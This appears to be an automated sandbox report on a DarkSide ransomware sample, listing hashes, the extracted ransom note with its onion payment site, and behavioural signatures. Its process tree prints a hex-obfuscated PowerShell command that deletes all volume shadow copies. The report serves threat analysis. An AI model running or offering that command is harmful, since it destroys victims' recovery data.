Analysis

  • max time kernel
    161s
  • max time network
    161s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    31-01-2022 05:58

General

  • Target

    f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe

  • Size

    59KB

  • MD5

    66ddb290df3d510a6001365c3a694de2

  • SHA1

    77b9103d4af311ba76511144d47aed440ae6ce9f

  • SHA256

    f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39

  • SHA512

    bd1ecb3ce3e49c495f354a27fd17089b2bc77e3a96b15f28be4c877d2e49dfa1c193a3370a84ec4060f1c2517b2338e2b11cae680e67e9fb5e59367efb67a7ee

Malware Config

Extracted

Path

C:\\README.08e0b4c3.TXT

Family

darkside

Ransom Note
----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/45FYQLKAX0QTR144EDUI3VOVH2B3SQ0TZM0G7MXX3YUGDSA3AZA9XNNTCMD1H4CN When you open our website, put the following data in the input form: Key: xvyTt4ryk3SW3crViPXteEJnLnFicgyfhqHooEhHgUfmBIK9Oy54La2kEaOvjmjPZ7vaYvIrKqIcIYMAhyKGTkvHHsncDIgHjbeoadd3Iv6aRddgRjqqKqvJAnD7C7fJ21U6XC42CDos0WexdVO0oqoLSzUw2zOuEAAQuGero3ld3Ou4f2V4uG7aJgQwfkVSLctwB94NMh3hHg14MqykiRPV3PwzvEK1suJ1cR2Yc24R8uWSoQgCVPaVmBkBvlewVFhbyOKBDrfxeD6P5v2qrc1tJCedpnSX9r6TD2FTUK2wmAMnevHpOENKc0rBTEpB0zpizTOaAnzpJIBUlpSbuoOwGqaudNn1yuJ5IQ26hMl9vCpBh0uM360vXXhzrbMs2TXRemMmKwIMfvrhGhLo3l0nSyc3zaiUZWZtKH5SG3KSlSGbrWbYClHOHx1GKsUK0H5fAHsCJWQdwaiV604lORzzkiYYW2xyvssWBl8mVjF7A9YkQyWi0cY6fYHiNDdzUMMdFiEQJ8RJqgXmV6ELv17byLWKFWL6KdkcCAoDpdZeOxoxyHYxNC5 !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!
URLs

http://darksidfqzcuhtk2.onion/45FYQLKAX0QTR144EDUI3VOVH2B3SQ0TZM0G7MXX3YUGDSA3AZA9XNNTCMD1H4CN

Signatures

  • DarkSide

    Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.

  • Modifies extensions of user files 23 IoCs

    Ransomware generally changes the extension on encrypted files.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Modifies Control Panel 1 IoCs
  • Modifies registry class 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 25 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe
    "C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe"
    1⤵
    • Modifies extensions of user files
    • Sets desktop wallpaper using registry
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2180
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4032
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:3384

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    MD5

    ea6243fdb2bfcca2211884b0a21a0afc

    SHA1

    2eee5232ca6acc33c3e7de03900e890f4adf0f2f

    SHA256

    5bc7d9831ea72687c5458cae6ae4eb7ab92975334861e08065242e689c1a1ba8

    SHA512

    189db6779483e5be80331b2b64e17b328ead5e750482086f3fe4baae315d47d207d88082b323a6eb777f2f47e29cac40f37dda1400462322255849cbcc973940

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    MD5

    83485dce1084c2622e5b7e811de19522

    SHA1

    5b4a73ec6ae77a8d1e598d894a202c40f1cc8b2b

    SHA256

    245b075a9e2e0c8f2d76522649a8fc0e3104069ef9b0629817559be37befc959

    SHA512

    773f3225550c40096f1ec3b623e5dad22c6031daae1b2a8c6ff801d5769127ca6717280fd6b903412470760d0b80795e1bf42b82b38b66b64e4434b2d2b9c3ec

  • memory/4032-121-0x000001EEF4810000-0x000001EEF4832000-memory.dmp

    Filesize

    136KB

  • memory/4032-126-0x000001EEF6AA0000-0x000001EEF6B16000-memory.dmp

    Filesize

    472KB

  • memory/4032-138-0x000001EEDC730000-0x000001EEF4850000-memory.dmp

    Filesize

    385.1MB

  • memory/4032-139-0x000001EEDC730000-0x000001EEF4850000-memory.dmp

    Filesize

    385.1MB

  • memory/4032-140-0x000001EEDC730000-0x000001EEF4850000-memory.dmp

    Filesize

    385.1MB